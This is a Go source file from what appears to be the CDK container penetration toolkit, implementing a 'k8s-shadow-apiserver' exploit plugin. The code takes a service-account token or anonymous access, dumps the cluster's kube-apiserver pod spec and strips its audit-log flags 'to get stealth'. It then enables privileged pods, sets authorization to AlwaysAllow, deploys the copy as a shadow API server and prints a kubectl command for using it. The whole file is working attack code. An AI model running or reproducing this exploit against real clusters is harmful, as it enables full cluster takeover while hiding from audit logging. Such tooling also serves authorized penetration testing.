k8s_shadow_apiserver.go

//go:build !thin && !no_k8s_shadow_apiserver
// +build !thin,!no_k8s_shadow_apiserver

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package exploit

import (
	"fmt"
	"log"
	"regexp"
	"strings"

	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/tool/kubectl"
	"github.com/cdk-team/CDK/pkg/util"
	"github.com/tidwall/gjson"
	"github.com/tidwall/sjson"
)

func findApiServerPodInMasterNode(token string, serverAddr string) (string, error) {
	opts := kubectl.K8sRequestOption{
		TokenPath: "",
		Server:    serverAddr,
		Api:       "/api/v1/namespaces/kube-system/pods",
		Method:    "GET",
		PostData:  "",
		Anonymous: false,
	}

	switch token {
	case "default":
		opts.TokenPath = conf.K8sSATokenDefaultPath
	case "anonymous":
		opts.TokenPath = ""
		opts.Anonymous = true
	default:
		opts.TokenPath = token
	}

	log.Println("trying to find api-server pod in namespace:kube-system")
	resp, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
		return "", errors.New("faild to request api-server.")
	}
	if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, "kube-apiserver") {
		log.Println("api-server response:")
		fmt.Println(resp)
		return "", errors.New("invalid to list pods, possible caused by api-server forbidden this request.")
	}
	// extract pod name
	// sample: {"metadata":{"name":"kube-apiserver-ubuntu-linux-20-04-desktop","namespace":"kube-system","uid":"b7564d4e-3bb1-48ef-8885-3984be70f46d" .. -> kube-apiserver-ubuntu-linux-20-04-desktop
	pattern := regexp.MustCompile(`"metadata":{"name":"(kube-apiserver\b[^"]*?)"`)
	matched := pattern.FindAllStringSubmatch(resp, -1)
	if matched == nil {
		fmt.Println(resp)
		return "", errors.New("Cannot find kube-apiserver pod in namespace:kube-system, maybe target K8s master node managed by cloud provider, cannot deploy api-server in this environment.")
	}

	// match pod name in selfLink
	log.Println("find api-server pod:")
	for _, podName := range matched {
		fmt.Println(podName[1])
	}

	// only return one pod
	return matched[0][1], nil
}

func dumpPodConfig(token string, serverAddr string, podName string, namespace string) (string, error) {
	opts := kubectl.K8sRequestOption{
		TokenPath: "",
		Server:    serverAddr,
		Api:       fmt.Sprintf("/api/v1/namespaces/%s/pods/%s", namespace, podName),
		Method:    "GET",
		PostData:  "",
		Anonymous: false,
	}

	switch token {
	case "default":
		opts.TokenPath = conf.K8sSATokenDefaultPath
	case "anonymous":
		opts.TokenPath = ""
		opts.Anonymous = true
	default:
		opts.TokenPath = token
	}

	log.Println("dump config json of pod:", podName, "in namespace:", namespace)
	resp, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
		return "", errors.New("faild to request api-server.")
	}
	if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
		log.Println("api-server response in dumpPodConfig:")
		fmt.Println(resp)
		return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
	}

	return resp, nil
}

func generateShadowApiServerConf(json string) string {

	json, _ = sjson.Delete(json, "status")
	json, _ = sjson.Delete(json, "metadata.selfLink")
	json, _ = sjson.Delete(json, "metadata.uid")
	json, _ = sjson.Delete(json, "metadata.annotations")
	json, _ = sjson.Delete(json, "metadata.resourceVersion")
	json, _ = sjson.Delete(json, "metadata.creationTimestamp")
	json, _ = sjson.Delete(json, "spec.tolerations")

	// patch cdxy 20210413
	// Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue',  or 'my_value',  or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","reason":"Invalid","details":{"name":"kube-apiserver-10.206.0.11-shadow","kind":"Pod","causes":[{"reason":"FieldValueInvalid","message":"Invalid value: \"-shadow\": a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character (e.g. 'MyValue',  or 'my_value',  or '12345', regex used for validation is '(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])?')","field":"metadata.labels"}]},"code":422}
	podName := gjson.Get(json, "metadata.name").String() + "-shadow" + "-" + strings.ToLower(util.RandString(6))
	json, _ = sjson.Set(json, "metadata.name", podName)
	json, _ = sjson.Set(json, "metadata.labels.component", gjson.Get(json, "metadata.labels.component").String()+"shadow")

	// remove audit logs to get stealth
	reg := regexp.MustCompile(`(")(--audit-log-[^"]*?)(")`)
	json = reg.ReplaceAllString(json, "${1}${3}")

	//argInsertReg := regexp.MustCompile(`(^[\s\S]*?"command"[\s\:]*?\[[^\]]*?"kube-apiserver")([^"]*?)(,\s*?"[\s\S]*?)$`)
	argInsertReg := regexp.MustCompile(`(^[\s\S]*?)("--etcd-keyfile=[^"]*?"[\s\S]*?)$`)

	// set --allow-privileged=true
	reg = regexp.MustCompile(`("--allow-privileged\s*?=\s*?)(.*?)(")`)
	json = reg.ReplaceAllString(json, "${1}true${3}")
	if !strings.Contains(json, "--allow-privileged") {
		json = argInsertReg.ReplaceAllString(json, `${1}"--allow-privileged=true",${2}`)
	}

	// set insecure-port to 0.0.0.0:9443
	// fix "Flag --insecure-port has been deprecated, This flag has no effect now and will be removed in v1.24."

	// reg = regexp.MustCompile(`("--insecure-port\s*?=\s*?)(.*?)(")`)
	// json = reg.ReplaceAllString(json, "${1}9443${3}")
	// if !strings.Contains(json, "--insecure-port") {
	// 	json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-port=9443",${2}`)
	// }
	// reg = regexp.MustCompile(`("--insecure-bind-address\s*?=\s*?)(.*?)(")`)
	// json = reg.ReplaceAllString(json, "${1}0.0.0.0${3}")
	// if !strings.Contains(json, "--insecure-bind-address") {
	// 	json = argInsertReg.ReplaceAllString(json, `${1}"--insecure-bind-address=0.0.0.0",${2}`)
	// }

	// set --secure-port to 9444
	reg = regexp.MustCompile(`("--secure-port\s*?=\s*?)(.*?)(")`)
	json = reg.ReplaceAllString(json, "${1}9444${3}")
	if !strings.Contains(json, "--secure-port") {
		json = argInsertReg.ReplaceAllString(json, `${1}"--secure-port=9444",${2}`)
	}

	// set anonymous-auth to true
	// change note: anonymous-auth is not valid in k8s 1.22 and later, see https://github.com/cdk-team/CDK/issues/77

	// reg = regexp.MustCompile(`("--anonymous-auth\s*?=\s*?)(.*?)(")`)
	// json = reg.ReplaceAllString(json, "${1}true${3}")
	// if !strings.Contains(json, "--anonymous-auth") {
	// 	json = argInsertReg.ReplaceAllString(json, `${1}"--anonymous-auth=true",${2}`)
	// }

	// set authorization-mode=AlwaysAllow
	reg = regexp.MustCompile(`("--authorization-mode\s*?=\s*?)(.*?)(")`)
	json = reg.ReplaceAllString(json, "${1}AlwaysAllow${3}")
	if !strings.Contains(json, "--authorization-mode") {
		json = argInsertReg.ReplaceAllString(json, `${1}"--authorization-mode=AlwaysAllow",${2}`)
	}
	fmt.Println(json)
	return json
}

func deployPod(token string, serverAddr string, namespace string, data string) (string, error) {
	opts := kubectl.K8sRequestOption{
		TokenPath: "",
		Server:    serverAddr,
		Api:       fmt.Sprintf("/api/v1/namespaces/%s/pods", namespace),
		Method:    "POST",
		PostData:  data,
		Anonymous: false,
	}

	switch token {
	case "default":
		opts.TokenPath = conf.K8sSATokenDefaultPath
	case "anonymous":
		opts.TokenPath = ""
		opts.Anonymous = true
	default:
		opts.TokenPath = token
	}

	resp, err := kubectl.ServerAccountRequest(opts)
	if err != nil {
		log.Printf("request apiserver uri `%s` error: %v, response: %s", opts.Api, err, resp)
		return "", errors.New("faild to request api-server.")
	}
	if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
		log.Println("api-server response in deployPod:")
		fmt.Println(resp)
		return "", errors.New("invalid response data, possible caused by api-server forbidden this request.")
	}

	return resp, nil
}

// plugin interface
type K8sShadowApiServerS struct{}

func (p K8sShadowApiServerS) Desc() string {
	return "duplicate kube-apiserver pod, disable logs and grant all privilege to anonymous user. usage: cdk run k8s-shadow-apiserver (default|anonymous|<service-account-token-path>)"
}
func (p K8sShadowApiServerS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 1 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	// get api-server connection conf in ENV
	log.Println("getting K8s api-server API addr.")
	addr, err := kubectl.ApiServerAddr()
	if err != nil {
		fmt.Println(err)
		return false
	}
	fmt.Println("\tFind K8s api-server in ENV:", addr)

	tokenFlag := args[0]

	apiServerPod, err := findApiServerPodInMasterNode(tokenFlag, addr)
	if err != nil {
		fmt.Println(err)
		return false
	}
	config, err := dumpPodConfig(tokenFlag, addr, apiServerPod, "kube-system")
	if err != nil {
		fmt.Println(err)
		return false
	}
	// config for shadow api-server
	data := generateShadowApiServerConf(config)
	//fmt.Println("request data:",data)
	resp, err := deployPod(tokenFlag, addr, "kube-system", data)
	//fmt.Println("response_data:",resp)
	if err != nil {
		log.Println(err)
		log.Println("exploit failed.")
		return false
	}

	if !strings.Contains(resp, "selfLink") && !strings.Contains(resp, `"namespace"`) {
		fmt.Println("response data:", resp)
		log.Println("exploit failed.")
		return false
	}

	log.Println("shadow api-server deploy success!")
	podName := gjson.Get(resp, "metadata.name").String()
	namespace := gjson.Get(resp, "metadata.namespace").String()
	node := gjson.Get(resp, "spec.nodeName").String()
	fmt.Printf("\tshadow api-server pod name:%s, namespace:%s, node name:%s\n", podName, namespace, node)
	fmt.Printf("\tlistening port: https://%s:9444\n", node)

	var token = ""
	switch tokenFlag {
	case "default":
		token, _ = kubectl.SecretToken(conf.K8sSATokenDefaultPath)
	case "anonymous":
		token = ""
	default:
		// TODO: why default flag not to use default token(conf.K8sSATokenDefaultPath)?
		token, _ = kubectl.SecretToken(tokenFlag)
	}

	// sample:
	// kubectl --server=https://<node-hostname>:9444/ --token=<token> --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A
	if token == "" {
		fmt.Println("\trun: kubectl --server=https://%s:9444 --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node)
	} else {
		fmt.Printf("\trun: kubectl --server=https://%s:9444 --token=%s --kubeconfig=/dev/null --insecure-skip-tls-verify=true get pods -A\n", node, token)
	}

	return true
}

func init() {
	exploit := K8sShadowApiServerS{}
	plugin.RegisterExploit("k8s-shadow-apiserver", exploit)
}